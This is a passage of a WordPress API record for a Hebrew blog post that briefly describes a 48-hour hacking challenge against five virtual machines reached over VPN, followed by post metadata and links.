\u05d4\u05d5\u05d0 \u05e0\u05d5\u05ea\u05df \u05e8\u05de\u05d6 \u05dc\u05e9\u05e8\u05ea \u05e2\u05dd \u05d4\u05d6\u05d1\u05d5\u05d1 \u05d1\u05ea\u05de\u05d5\u05e0\u05d4?<br \/>\n\u05d5\u05dc\u05de\u05d4 \u05db\u05dc\u05db\u05da \u05de\u05e2\u05d8 \u05d0\u05e0\u05e9\u05d9\u05dd \u05d4\u05e6\u05dc\u05d9\u05d7\u05d5 2 \u05de\u05d7\u05e9\u05d1\u05d9\u05dd \u05db\u05dc\u05db\u05da \u05de\u05d0\u05d5\u05d7\u05e8 \u05dc\u05ea\u05d5\u05da \u05d4\u05d0\u05ea\u05d2\u05e8??<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u05e7\u05e6\u05ea \u05e2\u05dc \u05d4\u05d0\u05ea\u05d2\u05e8 \u05d4\u05d0\u05ea\u05d2\u05e8 \u05d4\u05ea\u05d7\u05d9\u05dc \u05d119 \u05dc\u05d9\u05d5\u05e0\u05d9 \u05d1\u05e9\u05d1\u05ea, \u05d5\u05e0\u05de\u05e9\u05da 48 \u05e9\u05e2\u05d5\u05ea. \u05d4\u05de\u05d0\u05e8\u05d2\u05e0\u05d9\u05dd \u05e9\u05dc \u05d4\u05d0\u05ea\u05d2\u05e8 \u05d4\u05e7\u05d9\u05de\u05d5 5 \u05de\u05db\u05d5\u05e0\u05d5\u05ea \u05d5\u05d9\u05e8\u05d8\u05d5\u05d0\u05dc\u05d9\u05d5\u05ea (Virtual Machines) \u05e9\u05d9\u05d5\u05e9\u05d1\u05d5\u05ea \u05e2\u05dc \u05e9\u05e8\u05ea \u05d0\u05e6\u05dc\u05d4\u05dd. \u05d5\u05dc\u05db\u05dc \u05de\u05d9 \u05e9\u05e0\u05e8\u05e9\u05dd \u05e0\u05ea\u05e0\u05d5 \u05e9\u05dd \u05de\u05e9\u05ea\u05de\u05e9 \u05d5\u05e1\u05d9\u05e1\u05de\u05d4 \u05d1\u05e9\u05d1\u05d9\u05dc \u05d2\u05d9\u05e9\u05ea VPN. \u05d1\u05e8\u05d2\u05e2 \u05e9\u05de\u05ea\u05d7\u05d1\u05e8\u05d9\u05dd \u05de\u05e7\u05d1\u05dc\u05d9\u05dd \u05db\u05ea\u05d5\u05d1\u05ea IP \u05d1C Class \u05e9\u05e2\u05dc\u05d9\u05d5 \u05d9\u05d5\u05e9\u05d1\u05d9\u05dd \u05d4\u05e9\u05e8\u05ea\u05d9\u05dd. \u05de\u05d8\u05e8\u05ea \u05d4\u05d0\u05ea\u05d2\u05e8: \u05ea\u05d5\u05da 48 \u05e9\u05e2\u05d5\u05ea, \u05dc\u05e4\u05e8\u05d5\u05e5 5 \u05de\u05d7\u05e9\u05d1\u05d9\u05dd \u05dc\u05d4\u05e9\u05d9\u05d2 \u05de\u05d4\u05dc\u05d9\u05e0\u05d5\u05e7\u05e1\u05d9\u05dd \u05e9\u05d1\u05d4\u05dd [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[1],"tags":[24,42,7,40,39,26],"_links":{"self":[{"href":"https:\/\/www.binaryvision.co.il\/wp-json\/wp\/v2\/posts\/587"}],"collection":[{"href":"https:\/\/www.binaryvision.co.il\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.binaryvision.co.il\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.binaryvision.co.il\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.binaryvision.co.il\/wp-json\/wp\/v2\/comments?post=587"}],"version-history":[{"count":31,"href":"https:\/\/www.binaryvision.co.il\/wp-json\/wp\/v2\/posts\/587\/revisions"}],"predecessor-version":[{"id":889,"href":"https:\/\/www.binaryvision.co.il\/wp-json\/wp\/v2\/posts\/587\/revisions\/889"}],"wp:attachment":[{"href":"https:\/\/www.binaryvision.co.il\/wp-json\/wp\/v2\/media?parent=587"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.binaryvision.co.il\/wp-json\/wp\/v2\/categories?post=587"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.binaryvision.co.il\/wp-json\/wp\/v2\/tags?post=587"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}